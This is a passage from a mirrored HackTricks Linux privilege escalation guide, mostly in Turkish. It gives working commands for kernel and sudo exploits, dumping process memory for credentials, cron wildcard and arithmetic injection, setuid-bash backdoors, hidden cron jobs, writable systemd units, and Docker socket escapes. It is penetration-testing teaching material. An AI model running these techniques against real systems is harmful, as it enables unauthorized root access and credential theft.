mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
1483 lines
73 KiB
Markdown
1483 lines
73 KiB
Markdown
# Linux Privilege Escalation
|
||
|
||
{{#include ../../banners/hacktricks-training.md}}
|
||
|
||
## Sistem Bilgisi
|
||
|
||
### OS info
|
||
|
||
Çalışan OS hakkında bilgi edinmeye başlayalım
|
||
```bash
|
||
(cat /proc/version || uname -a ) 2>/dev/null
|
||
lsb_release -a 2>/dev/null # old, not by default on many systems
|
||
cat /etc/os-release 2>/dev/null # universal on modern systems
|
||
```
|
||
### PATH
|
||
|
||
Eğer **`PATH` değişkenindeki herhangi bir klasörde yazma izniniz varsa** bazı libraries veya binaries'i hijack edebilirsiniz:
|
||
```bash
|
||
echo $PATH
|
||
```
|
||
### Env info
|
||
|
||
Ortamdaki değişkenlerde ilginç bilgiler, parolalar veya API anahtarları var mı?
|
||
```bash
|
||
(env || set) 2>/dev/null
|
||
```
|
||
### Kernel exploits
|
||
|
||
Kernel sürümünü kontrol edin ve escalate privileges için kullanılabilecek bir exploit olup olmadığını araştırın
|
||
```bash
|
||
cat /proc/version
|
||
uname -a
|
||
searchsploit "Linux Kernel"
|
||
```
|
||
İyi bir vulnerable kernel listesi ve bazı zaten **compiled exploits** şurada bulunabilir: [https://github.com/lucyoa/kernel-exploits](https://github.com/lucyoa/kernel-exploits) ve [exploitdb sploits](https://gitlab.com/exploit-database/exploitdb-bin-sploits).\
|
||
Bazı **compiled exploits** bulabileceğiniz diğer siteler: [https://github.com/bwbwbwbw/linux-exploit-binaries](https://github.com/bwbwbwbw/linux-exploit-binaries), [https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack](https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack)
|
||
|
||
Bu siteden tüm vulnerable kernel sürümlerini çıkarmak için şunu yapabilirsiniz:
|
||
```bash
|
||
curl https://raw.githubusercontent.com/lucyoa/kernel-exploits/master/README.md 2>/dev/null | grep "Kernels: " | cut -d ":" -f 2 | cut -d "<" -f 1 | tr -d "," | tr ' ' '\n' | grep -v "^\d\.\d$" | sort -u -r | tr '\n' ' '
|
||
```
|
||
Kernel exploit'lerini aramaya yardımcı olabilecek araçlar:
|
||
|
||
[linux-exploit-suggester.sh](https://github.com/mzet-/linux-exploit-suggester)\
|
||
[linux-exploit-suggester2.pl](https://github.com/jondonas/linux-exploit-suggester-2)\
|
||
[linuxprivchecker.py](http://www.securitysift.com/download/linuxprivchecker.py) (execute IN victim,only checks exploits for kernel 2.x)
|
||
|
||
Her zaman **kernel sürümünü Google'da arayın**; belki kernel sürümünüz bazı kernel exploit'lerinde yazılıdır ve böylece bu exploit'in geçerli olduğundan emin olabilirsiniz.
|
||
|
||
### CVE-2016-5195 (DirtyCow)
|
||
|
||
Linux Privilege Escalation - Linux Kernel <= 3.19.0-73.8
|
||
```bash
|
||
# make dirtycow stable
|
||
echo 0 > /proc/sys/vm/dirty_writeback_centisecs
|
||
g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow 40847.cpp -lutil
|
||
https://github.com/dirtycow/dirtycow.github.io/wiki/PoCs
|
||
https://github.com/evait-security/ClickNRoot/blob/master/1/exploit.c
|
||
```
|
||
### Sudo sürümü
|
||
|
||
Görünen güvenlik açığı bulunan sudo sürümlerine dayanarak:
|
||
```bash
|
||
searchsploit sudo
|
||
```
|
||
sudo sürümünün zafiyetli olup olmadığını bu grep ile kontrol edebilirsiniz.
|
||
```bash
|
||
sudo -V | grep "Sudo ver" | grep "1\.[01234567]\.[0-9]\+\|1\.8\.1[0-9]\*\|1\.8\.2[01234567]"
|
||
```
|
||
#### sudo < v1.28
|
||
|
||
Kaynak: @sickrov
|
||
```
|
||
sudo -u#-1 /bin/bash
|
||
```
|
||
### Dmesg signature verification failed
|
||
|
||
**smasher2 box of HTB**'ye bu vuln'ün nasıl exploit edilebileceğine dair bir **örnek** için bakın.
|
||
```bash
|
||
dmesg 2>/dev/null | grep "signature"
|
||
```
|
||
### Daha fazla system enumeration
|
||
```bash
|
||
date 2>/dev/null #Date
|
||
(df -h || lsblk) #System stats
|
||
lscpu #CPU info
|
||
lpstat -a 2>/dev/null #Printers info
|
||
```
|
||
## Olası savunmaları sıralayın
|
||
|
||
### AppArmor
|
||
```bash
|
||
if [ `which aa-status 2>/dev/null` ]; then
|
||
aa-status
|
||
elif [ `which apparmor_status 2>/dev/null` ]; then
|
||
apparmor_status
|
||
elif [ `ls -d /etc/apparmor* 2>/dev/null` ]; then
|
||
ls -d /etc/apparmor*
|
||
else
|
||
echo "Not found AppArmor"
|
||
fi
|
||
```
|
||
### Grsecurity
|
||
```bash
|
||
((uname -r | grep "\-grsec" >/dev/null 2>&1 || grep "grsecurity" /etc/sysctl.conf >/dev/null 2>&1) && echo "Yes" || echo "Not found grsecurity")
|
||
```
|
||
### PaX
|
||
```bash
|
||
(which paxctl-ng paxctl >/dev/null 2>&1 && echo "Yes" || echo "Not found PaX")
|
||
```
|
||
### Execshield
|
||
```bash
|
||
(grep "exec-shield" /etc/sysctl.conf || echo "Not found Execshield")
|
||
```
|
||
### SElinux
|
||
```bash
|
||
(sestatus 2>/dev/null || echo "Not found sestatus")
|
||
```
|
||
### ASLR
|
||
```bash
|
||
cat /proc/sys/kernel/randomize_va_space 2>/dev/null
|
||
#If 0, not enabled
|
||
```
|
||
## Docker Breakout
|
||
|
||
Eğer bir docker container'ın içindeyseniz, ondan kaçmayı deneyebilirsiniz:
|
||
|
||
|
||
{{#ref}}
|
||
docker-security/
|
||
{{#endref}}
|
||
|
||
## Sürücüler
|
||
|
||
Neyin **what is mounted and unmounted** olduğunu, nerede olduğunu ve nedenini kontrol edin. Eğer herhangi bir şey unmounted ise, onu mount etmeyi deneyebilir ve özel bilgileri kontrol edebilirsiniz
|
||
```bash
|
||
ls /dev 2>/dev/null | grep -i "sd"
|
||
cat /etc/fstab 2>/dev/null | grep -v "^#" | grep -Pv "\W*\#" 2>/dev/null
|
||
#Check if credentials in fstab
|
||
grep -E "(user|username|login|pass|password|pw|credentials)[=:]" /etc/fstab /etc/mtab 2>/dev/null
|
||
```
|
||
## Yararlı yazılımlar
|
||
|
||
Kullanışlı binaries'leri listeleyin
|
||
```bash
|
||
which nmap aws nc ncat netcat nc.traditional wget curl ping gcc g++ make gdb base64 socat python python2 python3 python2.7 python2.6 python3.6 python3.7 perl php ruby xterm doas sudo fetch docker lxc ctr runc rkt kubectl 2>/dev/null
|
||
```
|
||
Ayrıca, **herhangi bir derleyicinin yüklü olup olmadığını** kontrol edin. Bu, bazı kernel exploit'lerini kullanmanız gerekiyorsa faydalıdır çünkü bunları kullanacağınız makinede (veya benzer bir makinede) derlemeniz önerilir.
|
||
```bash
|
||
(dpkg --list 2>/dev/null | grep "compiler" | grep -v "decompiler\|lib" 2>/dev/null || yum list installed 'gcc*' 2>/dev/null | grep gcc 2>/dev/null; which gcc g++ 2>/dev/null || locate -r "/gcc[0-9\.-]\+$" 2>/dev/null | grep -v "/doc/")
|
||
```
|
||
### Açığı Olan Kurulu Yazılımlar
|
||
|
||
Kurulu paketlerin ve servislerin **sürümünü** kontrol edin. Belki istismar edilebilecek eski bir Nagios sürümü (örneğin) vardır ve bu escalating privileges için kullanılabilir…\
|
||
Daha şüpheli kurulu yazılımların sürümlerini manuel olarak kontrol etmeniz önerilir.
|
||
```bash
|
||
dpkg -l #Debian
|
||
rpm -qa #Centos
|
||
```
|
||
Makineye SSH erişiminiz varsa, makinede yüklü olan eski ve güvenlik açığı bulunan yazılımları kontrol etmek için **openVAS**'ı da kullanabilirsiniz.
|
||
|
||
> [!NOTE] > _Bu komutların büyük ölçüde işe yaramayacak çok fazla bilgi göstereceğini unutmayın; bu nedenle, yüklü yazılım sürümlerinin bilinen exploits'lere karşı savunmasız olup olmadığını kontrol eden OpenVAS veya benzeri bazı uygulamalar önerilir_
|
||
|
||
## İşlemler
|
||
|
||
Hangi **işlemlerin** yürütüldüğüne bakın ve herhangi bir işlemin olması gerekenden **daha fazla ayrıcalığa** sahip olup olmadığını kontrol edin (belki bir tomcat root tarafından çalıştırılıyordur?)
|
||
```bash
|
||
ps aux
|
||
ps -ef
|
||
top -n 1
|
||
```
|
||
Always check for possible [**electron/cef/chromium debuggers** running, you could abuse it to escalate privileges](electron-cef-chromium-debugger-abuse.md). **Linpeas** detect those by checking the `--inspect` parameter inside the command line of the process.\
|
||
Ayrıca **check your privileges over the processes binaries**, belki birini overwrite edebilirsiniz.
|
||
|
||
### Process monitoring
|
||
|
||
Süreçleri izlemek için [**pspy**](https://github.com/DominicBreuker/pspy) gibi araçları kullanabilirsiniz. Bu, sıkça çalıştırılan veya belirli gereksinimler karşılandığında çalışan zafiyetli süreçleri tespit etmek için çok faydalı olabilir.
|
||
|
||
### Process memory
|
||
|
||
Bazı sunucu servisleri **kimlik bilgilerini belleğin içinde açık metin olarak kaydeder**.\
|
||
Normalde diğer kullanıcılara ait süreçlerin belleğini okumak için **root privileges** gerekir, bu yüzden bu genellikle zaten root olduğunuzda ve daha fazla kimlik bilgisi keşfetmek istediğinizde daha kullanışlıdır.\
|
||
Ancak unutmayın ki **as a regular user you can read the memory of the processes you own**.
|
||
|
||
> [!WARNING]
|
||
> Note that nowadays most machines **don't allow ptrace by default** which means that you cannot dump other processes that belong to your unprivileged user.
|
||
>
|
||
> The file _**/proc/sys/kernel/yama/ptrace_scope**_ controls the accessibility of ptrace:
|
||
>
|
||
> - **kernel.yama.ptrace_scope = 0**: all processes can be debugged, as long as they have the same uid. This is the classical way of how ptracing worked.
|
||
> - **kernel.yama.ptrace_scope = 1**: only a parent process can be debugged.
|
||
> - **kernel.yama.ptrace_scope = 2**: Only admin can use ptrace, as it required CAP_SYS_PTRACE capability.
|
||
> - **kernel.yama.ptrace_scope = 3**: No processes may be traced with ptrace. Once set, a reboot is needed to enable ptracing again.
|
||
|
||
#### GDB
|
||
|
||
If you have access to the memory of an FTP service (for example) you could get the Heap and search inside of its credentials.
|
||
```bash
|
||
gdb -p <FTP_PROCESS_PID>
|
||
(gdb) info proc mappings
|
||
(gdb) q
|
||
(gdb) dump memory /tmp/mem_ftp <START_HEAD> <END_HEAD>
|
||
(gdb) q
|
||
strings /tmp/mem_ftp #User and password
|
||
```
|
||
#### GDB Betiği
|
||
```bash:dump-memory.sh
|
||
#!/bin/bash
|
||
#./dump-memory.sh <PID>
|
||
grep rw-p /proc/$1/maps \
|
||
| sed -n 's/^\([0-9a-f]*\)-\([0-9a-f]*\) .*$/\1 \2/p' \
|
||
| while read start stop; do \
|
||
gdb --batch --pid $1 -ex \
|
||
"dump memory $1-$start-$stop.dump 0x$start 0x$stop"; \
|
||
done
|
||
```
|
||
#### /proc/$pid/maps & /proc/$pid/mem
|
||
|
||
Belirli bir işlem kimliği için, **maps, o işlemin sanal adres alanı içinde belleğin nasıl eşlendiğini gösterir**; ayrıca **her eşlenmiş bölgenin izinlerini** gösterir. Sahte (pseudo) dosya **mem**, **işlemin belleğinin kendisini açığa çıkarır**. **maps** dosyasından hangi **bellek bölgelerinin okunabilir** olduğunu ve bu bölgelerin offset'lerini biliriz. Bu bilgiyi **mem dosyasında seek yapıp tüm okunabilir bölgeleri dump ederek** bir dosyaya aktarmak için kullanırız.
|
||
```bash
|
||
procdump()
|
||
(
|
||
cat /proc/$1/maps | grep -Fv ".so" | grep " 0 " | awk '{print $1}' | ( IFS="-"
|
||
while read a b; do
|
||
dd if=/proc/$1/mem bs=$( getconf PAGESIZE ) iflag=skip_bytes,count_bytes \
|
||
skip=$(( 0x$a )) count=$(( 0x$b - 0x$a )) of="$1_mem_$a.bin"
|
||
done )
|
||
cat $1*.bin > $1.dump
|
||
rm $1*.bin
|
||
)
|
||
```
|
||
#### /dev/mem
|
||
|
||
`/dev/mem` sistemin **fiziksel** belleğine erişim sağlar, sanal belleğe değil. Çekirdeğin sanal adres alanına /dev/kmem kullanılarak erişilebilir.\
|
||
Genellikle, `/dev/mem` yalnızca **root** ve **kmem** grubu tarafından okunabilir.
|
||
```
|
||
strings /dev/mem -n10 | grep -i PASS
|
||
```
|
||
### ProcDump for linux
|
||
|
||
ProcDump, Windows için Sysinternals araç paketindeki klasik ProcDump aracının Linux için yeniden tasarlanmış halidir. Edinin: [https://github.com/Sysinternals/ProcDump-for-Linux](https://github.com/Sysinternals/ProcDump-for-Linux)
|
||
```
|
||
procdump -p 1714
|
||
|
||
ProcDump v1.2 - Sysinternals process dump utility
|
||
Copyright (C) 2020 Microsoft Corporation. All rights reserved. Licensed under the MIT license.
|
||
Mark Russinovich, Mario Hewardt, John Salem, Javid Habibi
|
||
Monitors a process and writes a dump file when the process meets the
|
||
specified criteria.
|
||
|
||
Process: sleep (1714)
|
||
CPU Threshold: n/a
|
||
Commit Threshold: n/a
|
||
Thread Threshold: n/a
|
||
File descriptor Threshold: n/a
|
||
Signal: n/a
|
||
Polling interval (ms): 1000
|
||
Threshold (s): 10
|
||
Number of Dumps: 1
|
||
Output directory for core dumps: .
|
||
|
||
Press Ctrl-C to end monitoring without terminating the process.
|
||
|
||
[20:20:58 - WARN]: Procdump not running with elevated credentials. If your uid does not match the uid of the target process procdump will not be able to capture memory dumps
|
||
[20:20:58 - INFO]: Timed:
|
||
[20:21:00 - INFO]: Core dump 0 generated: ./sleep_time_2021-11-03_20:20:58.1714
|
||
```
|
||
### Araçlar
|
||
|
||
Bir işlemin belleğini dökmek için şunları kullanabilirsiniz:
|
||
|
||
- [**https://github.com/Sysinternals/ProcDump-for-Linux**](https://github.com/Sysinternals/ProcDump-for-Linux)
|
||
- [**https://github.com/hajzer/bash-memory-dump**](https://github.com/hajzer/bash-memory-dump) (root) - \_root gereksinimlerini manuel olarak kaldırabilir ve size ait olan işlemin belleğini dökebilirsiniz
|
||
- Script A.5 from [**https://www.delaat.net/rp/2016-2017/p97/report.pdf**](https://www.delaat.net/rp/2016-2017/p97/report.pdf) (root gereklidir)
|
||
|
||
### İşlem Belleğinden Kimlik Bilgileri
|
||
|
||
#### Manuel örnek
|
||
|
||
If you find that the authenticator process is running:
|
||
```bash
|
||
ps -ef | grep "authenticator"
|
||
root 2027 2025 0 11:46 ? 00:00:00 authenticator
|
||
```
|
||
İşlemi dump edebilir (bir işlemin belleğini dump etmenin farklı yollarını bulmak için önceki bölümlere bakın) ve belleğin içinde kimlik bilgilerini arayabilirsiniz:
|
||
```bash
|
||
./dump-memory.sh 2027
|
||
strings *.dump | grep -i password
|
||
```
|
||
#### mimipenguin
|
||
|
||
Araç [**https://github.com/huntergregal/mimipenguin**](https://github.com/huntergregal/mimipenguin) **bellekten düz metin kimlik bilgilerini çalacak** ve bazı **iyi bilinen dosyalardan**. Doğru çalışması için root ayrıcalıkları gerektirir.
|
||
|
||
| Özellik | Süreç Adı |
|
||
| ------------------------------------------------- | -------------------- |
|
||
| GDM password (Kali Desktop, Debian Desktop) | gdm-password |
|
||
| Gnome Keyring (Ubuntu Desktop, ArchLinux Desktop) | gnome-keyring-daemon |
|
||
| LightDM (Ubuntu Desktop) | lightdm |
|
||
| VSFTPd (Active FTP Connections) | vsftpd |
|
||
| Apache2 (Active HTTP Basic Auth Sessions) | apache2 |
|
||
| OpenSSH (Active SSH Sessions - Sudo Usage) | sshd: |
|
||
|
||
#### Arama Regexleri/[truffleproc](https://github.com/controlplaneio/truffleproc)
|
||
```bash
|
||
# un truffleproc.sh against your current Bash shell (e.g. $$)
|
||
./truffleproc.sh $$
|
||
# coredumping pid 6174
|
||
Reading symbols from od...
|
||
Reading symbols from /usr/lib/systemd/systemd...
|
||
Reading symbols from /lib/systemd/libsystemd-shared-247.so...
|
||
Reading symbols from /lib/x86_64-linux-gnu/librt.so.1...
|
||
[...]
|
||
# extracting strings to /tmp/tmp.o6HV0Pl3fe
|
||
# finding secrets
|
||
# results in /tmp/tmp.o6HV0Pl3fe/results.txt
|
||
```
|
||
## Zamanlanmış/Cron görevleri
|
||
|
||
Herhangi bir zamanlanmış/Cron görevin zayıf olup olmadığını kontrol et. Belki root tarafından çalıştırılan bir scriptten faydalanabilirsin (wildcard vuln? root'un kullandığı dosyaları değiştirebilir misin? symlinks kullanmak? root'un kullandığı dizinde belirli dosyalar oluşturmak?).
|
||
```bash
|
||
crontab -l
|
||
ls -al /etc/cron* /etc/at*
|
||
cat /etc/cron* /etc/at* /etc/anacrontab /var/spool/cron/crontabs/root 2>/dev/null | grep -v "^#"
|
||
```
|
||
### Cron path
|
||
|
||
Örneğin, _/etc/crontab_ içinde PATH'i şu şekilde bulabilirsiniz: _PATH=**/home/user**:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin_
|
||
|
||
(_Dikkat: kullanıcı "user"ın /home/user üzerinde yazma yetkisi var_)
|
||
|
||
Eğer bu crontab içinde root kullanıcısı PATH'i ayarlamadan bir komut veya script çalıştırmaya çalışırsa. Örneğin: _\* \* \* \* root overwrite.sh_\
|
||
Böylece root shell elde edebilirsiniz:
|
||
```bash
|
||
echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > /home/user/overwrite.sh
|
||
#Wait cron job to be executed
|
||
/tmp/bash -p #The effective uid and gid to be set to the real uid and gid
|
||
```
|
||
### Cron using a script with a wildcard (Wildcard Injection)
|
||
|
||
Eğer root tarafından çalıştırılan bir script'in bir komutunda “**\***” varsa, bunu beklenmeyen şeyler (ör. privesc) yapmak için kullanabilirsiniz. Örnek:
|
||
```bash
|
||
rsync -a *.sh rsync://host.back/src/rbd #You can create a file called "-e sh myscript.sh" so the script will execute our script
|
||
```
|
||
**Eğer wildcard bir yolun önünde yer alıyorsa, örneğin** _**/some/path/\***_**, vulnerable değildir (hatta** _**./\***_ **de değildir).**
|
||
|
||
Daha fazla wildcard exploitation hilesi için aşağıdaki sayfayı okuyun:
|
||
|
||
|
||
{{#ref}}
|
||
wildcards-spare-tricks.md
|
||
{{#endref}}
|
||
|
||
|
||
### Bash arithmetic expansion injection in cron log parsers
|
||
|
||
Bash, ((...)), $((...)) ve let içinde arithmetic evaluation'dan önce parameter expansion ve command substitution gerçekleştirir. Eğer bir root cron/parser, untrusted log fields okur ve bunları bir arithmetic context'e verirse, bir attacker command substitution $(...) enjekte edebilir ve cron çalıştığında bu root olarak yürütülür.
|
||
|
||
- Neden işe yarar: Bash'te genişletmeler şu sırayla gerçekleşir: parameter/variable expansion, command substitution, arithmetic expansion, ardından word splitting ve pathname expansion. Bu yüzden `$(/bin/bash -c 'id > /tmp/pwn')0` gibi bir değer önce substitute edilir (komut çalıştırılır), ardından kalan sayısal `0` aritmetikte kullanılır ve script hata vermeden devam eder.
|
||
|
||
- Tipik vulnerable pattern:
|
||
```bash
|
||
#!/bin/bash
|
||
# Example: parse a log and "sum" a count field coming from the log
|
||
while IFS=',' read -r ts user count rest; do
|
||
# count is untrusted if the log is attacker-controlled
|
||
(( total += count )) # or: let "n=$count"
|
||
done < /var/www/app/log/application.log
|
||
```
|
||
|
||
- Exploitation: Parse edilen log'a attacker-controlled bir içerik yazdırın, böylece sayıya benzeyen alan bir command substitution içerir ve bir rakamla biter. Komutunuz stdout'a yazmasın (veya yönlendirin) böylece arithmetic geçerli kalır.
|
||
```bash
|
||
# Injected field value inside the log (e.g., via a crafted HTTP request that the app logs verbatim):
|
||
$(/bin/bash -c 'cp /bin/bash /tmp/sh; chmod +s /tmp/sh')0
|
||
# When the root cron parser evaluates (( total += count )), your command runs as root.
|
||
```
|
||
|
||
### Cron script overwriting and symlink
|
||
|
||
Eğer root tarafından çalıştırılan bir **cron script**'i değiştirebiliyorsanız, çok kolay bir şekilde shell elde edebilirsiniz:
|
||
```bash
|
||
echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > </PATH/CRON/SCRIPT>
|
||
#Wait until it is executed
|
||
/tmp/bash -p
|
||
```
|
||
Eğer root tarafından çalıştırılan script, **tam erişiminiz olan directory** kullanıyorsa, o klasörü silip sizin kontrolünüzde bir script sunan başka bir dizine işaret eden **symlink bir klasör oluşturmak** faydalı olabilir.
|
||
```bash
|
||
ln -d -s </PATH/TO/POINT> </PATH/CREATE/FOLDER>
|
||
```
|
||
### Frequent cron jobs
|
||
|
||
Süreçleri, her 1, 2 veya 5 dakikada bir çalıştırılan süreçleri aramak için izleyebilirsiniz. Belki bundan faydalanıp escalate privileges yapabilirsiniz.
|
||
|
||
Örneğin, **1 dakika boyunca her 0.1s'de bir izlemek**, **daha az çalıştırılan komutlara göre sıralamak** ve en çok çalıştırılan komutları silmek için şunu yapabilirsiniz:
|
||
```bash
|
||
for i in $(seq 1 610); do ps -e --format cmd >> /tmp/monprocs.tmp; sleep 0.1; done; sort /tmp/monprocs.tmp | uniq -c | grep -v "\[" | sed '/^.\{200\}./d' | sort | grep -E -v "\s*[6-9][0-9][0-9]|\s*[0-9][0-9][0-9][0-9]"; rm /tmp/monprocs.tmp;
|
||
```
|
||
**Ayrıca şunu kullanabilirsiniz** [**pspy**](https://github.com/DominicBreuker/pspy/releases) (başlayan her süreci izleyecek ve listeleyecektir).
|
||
|
||
### Görünmez cron jobs
|
||
|
||
Bir yorumdan sonra **carriage return koyarak** (yeni satır karakteri olmadan) bir cronjob oluşturmak mümkündür ve cron job çalışır. Örnek (carriage return karakterine dikkat):
|
||
```bash
|
||
#This is a comment inside a cron config file\r* * * * * echo "Surprise!"
|
||
```
|
||
## Servisler
|
||
|
||
### Yazılabilir _.service_ files
|
||
|
||
Herhangi bir `.service` dosyasına yazıp yazamayacağınızı kontrol edin, yazabiliyorsanız, bunu **değiştirerek** servis **başlatıldığında**, **yeniden başlatıldığında** veya **durdurulduğunda** **backdoor**'unuzun **çalıştırılmasını** sağlayabilirsiniz (belki makinenin yeniden başlatılmasını beklemeniz gerekir).\
|
||
Örneğin backdoor'unuzu .service dosyasının içine **`ExecStart=/tmp/script.sh`** ile oluşturun
|
||
|
||
### Yazılabilir servis ikili dosyaları
|
||
|
||
Aklınızda bulundurun ki eğer servisler tarafından çalıştırılan ikililere **yazma izniniz** varsa, bunları backdoor'lar için değiştirebilirsiniz; böylece servisler yeniden çalıştırıldığında backdoor'lar çalıştırılacaktır.
|
||
|
||
### systemd PATH - Göreli Yollar
|
||
|
||
systemd tarafından kullanılan PATH'i **şununla** görebilirsiniz:
|
||
```bash
|
||
systemctl show-environment
|
||
```
|
||
Eğer yolun herhangi bir klasörüne **yazma** yapabildiğinizi fark ederseniz, **escalate privileges** yapabiliyor olabilirsiniz. Servis yapılandırma dosyalarında kullanılan **göreli yolları** gibi şeyleri aramanız gerekir:
|
||
```bash
|
||
ExecStart=faraday-server
|
||
ExecStart=/bin/sh -ec 'ifup --allow=hotplug %I; ifquery --state %I'
|
||
ExecStop=/bin/sh "uptux-vuln-bin3 -stuff -hello"
|
||
```
|
||
Then, create an **executable** with the **same name as the relative path binary** inside the systemd PATH folder you can write, and when the service is asked to execute the vulnerable action (**Start**, **Stop**, **Reload**), your **backdoor will be executed** (unprivileged users usually cannot start/stop services but check if you can use `sudo -l`).
|
||
|
||
**Learn more about services with `man systemd.service`.**
|
||
|
||
## **Zamanlayıcılar**
|
||
|
||
**Timers**, adı `**.timer**` ile biten systemd unit dosyalarıdır ve `**.service**` dosyalarını veya olayları kontrol eder. **Timers**, takvim zaman olayları ve monotonik zaman olayları için yerleşik desteğe sahip oldukları ve eşzamansız olarak çalıştırılabildikleri için cron alternatifi olarak kullanılabilir.
|
||
|
||
You can enumerate all the timers with:
|
||
```bash
|
||
systemctl list-timers --all
|
||
```
|
||
### Writable timers
|
||
|
||
Eğer bir timer'ı değiştirebiliyorsanız, systemd.unit içindeki var olan bazı birimleri (ör. `.service` veya `.target`) çalıştırmasını sağlayabilirsiniz.
|
||
```bash
|
||
Unit=backdoor.service
|
||
```
|
||
Belgelerde Unit'in ne olduğu şöyle açıklanır:
|
||
|
||
> Bu timer sona erdiğinde etkinleştirilecek unit'tir. Argüman, son eki ".timer" olmayan bir unit adıdır. Belirtilmezse, bu değer varsayılan olarak timer unit ile aynı ada sahip, yalnızca son eki farklı olan bir service olur. (Yukarıya bakınız.) Etkinleştirilecek unit adı ile timer unit adının, son ek dışında, aynı şekilde adlandırılması önerilir.
|
||
|
||
Bu nedenle, bu izni kötüye kullanmak için şunları yapmanız gerekir:
|
||
|
||
- Yazılabilir bir binary çalıştıran bazı systemd unit'leri (ör. `.service`) bulun
|
||
- Relative path çalıştıran bazı systemd unit'lerini bulun ve systemd PATH üzerinde writable privileges sahibi olun (o executable'ı taklit etmek için)
|
||
|
||
**`man systemd.timer` ile timer'lar hakkında daha fazla bilgi edinin.**
|
||
|
||
### **Timer'ı Etkinleştirme**
|
||
|
||
Bir timer'ı etkinleştirmek için root ayrıcalıklarına sahip olmanız ve şu komutu çalıştırmanız gerekir:
|
||
```bash
|
||
sudo systemctl enable backu2.timer
|
||
Created symlink /etc/systemd/system/multi-user.target.wants/backu2.timer → /lib/systemd/system/backu2.timer.
|
||
```
|
||
Note the **timer** is **activated** by creating a symlink to it on `/etc/systemd/system/<WantedBy_section>.wants/<name>.timer`
|
||
|
||
## Sockets
|
||
|
||
Unix Domain Sockets (UDS) enable **process communication** on the same or different machines within client-server models. They utilize standard Unix descriptor files for inter-computer communication and are set up through `.socket` files.
|
||
|
||
Sockets can be configured using `.socket` files.
|
||
|
||
**Learn more about sockets with `man systemd.socket`.** Inside this file, several interesting parameters can be configured:
|
||
|
||
- `ListenStream`, `ListenDatagram`, `ListenSequentialPacket`, `ListenFIFO`, `ListenSpecial`, `ListenNetlink`, `ListenMessageQueue`, `ListenUSBFunction`: These options are different but a summary is used to **indicate where it is going to listen** to the socket (the path of the AF_UNIX socket file, the IPv4/6 and/or port number to listen, etc.)
|
||
- `Accept`: Takes a boolean argument. If **true**, a **service instance is spawned for each incoming connection** and only the connection socket is passed to it. If **false**, all listening sockets themselves are **passed to the started service unit**, and only one service unit is spawned for all connections. This value is ignored for datagram sockets and FIFOs where a single service unit unconditionally handles all incoming traffic. **Defaults to false**. For performance reasons, it is recommended to write new daemons only in a way that is suitable for `Accept=no`.
|
||
- `ExecStartPre`, `ExecStartPost`: Takes one or more command lines, which are **executed before** or **after** the listening **sockets**/FIFOs are **created** and bound, respectively. The first token of the command line must be an absolute filename, then followed by arguments for the process.
|
||
- `ExecStopPre`, `ExecStopPost`: Additional **commands** that are **executed before** or **after** the listening **sockets**/FIFOs are **closed** and removed, respectively.
|
||
- `Service`: Specifies the **service** unit name **to activate** on **incoming traffic**. This setting is only allowed for sockets with Accept=no. It defaults to the service that bears the same name as the socket (with the suffix replaced). In most cases, it should not be necessary to use this option.
|
||
|
||
### Writable .socket files
|
||
|
||
If you find a **writable** `.socket` file you can **add** at the beginning of the `[Socket]` section something like: `ExecStartPre=/home/kali/sys/backdoor` and the backdoor will be executed before the socket is created. Therefore, you will **probably need to wait until the machine is rebooted.**\
|
||
_Note that the system must be using that socket file configuration or the backdoor won't be executed_
|
||
|
||
### Writable sockets
|
||
|
||
If you **identify any writable socket** (_now we are talking about Unix Sockets and not about the config `.socket` files_), then **you can communicate** with that socket and maybe exploit a vulnerability.
|
||
|
||
### Enumerate Unix Sockets
|
||
```bash
|
||
netstat -a -p --unix
|
||
```
|
||
### Ham bağlantı
|
||
```bash
|
||
#apt-get install netcat-openbsd
|
||
nc -U /tmp/socket #Connect to UNIX-domain stream socket
|
||
nc -uU /tmp/socket #Connect to UNIX-domain datagram socket
|
||
|
||
#apt-get install socat
|
||
socat - UNIX-CLIENT:/dev/socket #connect to UNIX-domain socket, irrespective of its type
|
||
```
|
||
**Exploitation example:**
|
||
|
||
|
||
{{#ref}}
|
||
socket-command-injection.md
|
||
{{#endref}}
|
||
|
||
### HTTP sockets
|
||
|
||
Bazı **sockets listening for HTTP** requests olabileceğini unutmayın (_.socket dosyalarından bahsetmiyorum, unix sockets olarak davranan dosyalardan bahsediyorum_). Bunu şu komutla kontrol edebilirsiniz:
|
||
```bash
|
||
curl --max-time 2 --unix-socket /pat/to/socket/files http:/index
|
||
```
|
||
Eğer socket bir HTTP isteğine **cevap veriyorsa**, onunla **iletişim kurabilir** ve belki de **bazı güvenlik açıklarını exploit edebilirsiniz**.
|
||
|
||
### Yazılabilir Docker Socket
|
||
|
||
Docker socket, genellikle `/var/run/docker.sock` konumunda bulunur ve korunması gereken kritik bir dosyadır. Varsayılan olarak, `root` kullanıcısı ve `docker` grubunun üyeleri tarafından yazılabilir. Bu socket'e yazma erişimine sahip olmak privilege escalation'a yol açabilir. Bunun nasıl yapılabileceğine dair bir açıklama ve Docker CLI kullanılamıyorsa alternatif yöntemler aşağıdadır.
|
||
|
||
#### **Privilege Escalation with Docker CLI**
|
||
|
||
Docker socket'e yazma erişiminiz varsa, aşağıdaki komutları kullanarak escalate privileges yapabilirsiniz:
|
||
```bash
|
||
docker -H unix:///var/run/docker.sock run -v /:/host -it ubuntu chroot /host /bin/bash
|
||
docker -H unix:///var/run/docker.sock run -it --privileged --pid=host debian nsenter -t 1 -m -u -n -i sh
|
||
```
|
||
Bu komutlar, host'un dosya sistemine root seviyesinde erişimi olan bir container çalıştırmanızı sağlar.
|
||
|
||
#### **Docker API'yi Doğrudan Kullanma**
|
||
|
||
Docker CLI mevcut olmadığı durumlarda, Docker socket yine de Docker API ve `curl` komutları kullanılarak manipüle edilebilir.
|
||
|
||
1. **List Docker Images:** Mevcut images listesini alın.
|
||
|
||
```bash
|
||
curl -XGET --unix-socket /var/run/docker.sock http://localhost/images/json
|
||
```
|
||
|
||
2. **Create a Container:** Host sisteminin kök dizinini mount eden bir container oluşturmak için bir istek gönderin.
|
||
|
||
```bash
|
||
